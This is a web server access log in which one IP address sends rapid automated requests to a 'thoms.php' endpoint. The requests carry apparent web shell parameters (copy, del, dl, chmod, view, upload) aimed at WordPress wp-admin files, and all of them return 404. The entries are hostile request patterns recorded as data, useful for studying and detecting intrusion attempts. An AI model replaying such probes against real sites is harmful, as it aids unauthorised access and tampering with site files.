45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-discussion.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?del=admin-footer.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?del=custom-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Finstall-helper.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Finstall-helper.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?del=menu-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:07 -0400] "GET /bfl.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?del=images&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?dl=admin-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?del=import.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=import.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Findex.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Findex.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?del=link.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?del=options-connectors.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fpost-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fpost-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?dl=post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?dl=update-core.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?del=users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?chmod=about.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /thoms.php?chmod=admin-footer.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:08 -0400] "GET /bfl.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?chmod=media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?chmod=setup-config.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?dl=site-health-info.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?chmod=contribute.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /bfl.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-permalink.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fthemes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fthemes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?chmod=font-library.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:09 -0400] "GET /thoms.php?dl=ms-admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fpost.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fpost.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /bfl.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?chmod=maint&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=maint&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?dl=network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /bfl.com.tw/wp-admin/theme-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /bfl.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?dl=error_log&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?chmod=user-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?chmod=edit-comments.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:10 -0400] "GET /thoms.php?del=load-scripts.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmedia-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmy-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmy-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?chmod=options-general.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?chmod=options-reading.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?del=credits.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=credits.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?chmod=ms-themes.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?dl=post-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=site-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=site-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:11 -0400] "GET /bfl.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?del=theme-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?del=update.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?dl=custom-background.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?dl=edit-tags.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?del=erase-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /thoms.php?del=term.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=term.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /bfl.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:12 -0400] "GET /bfl.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
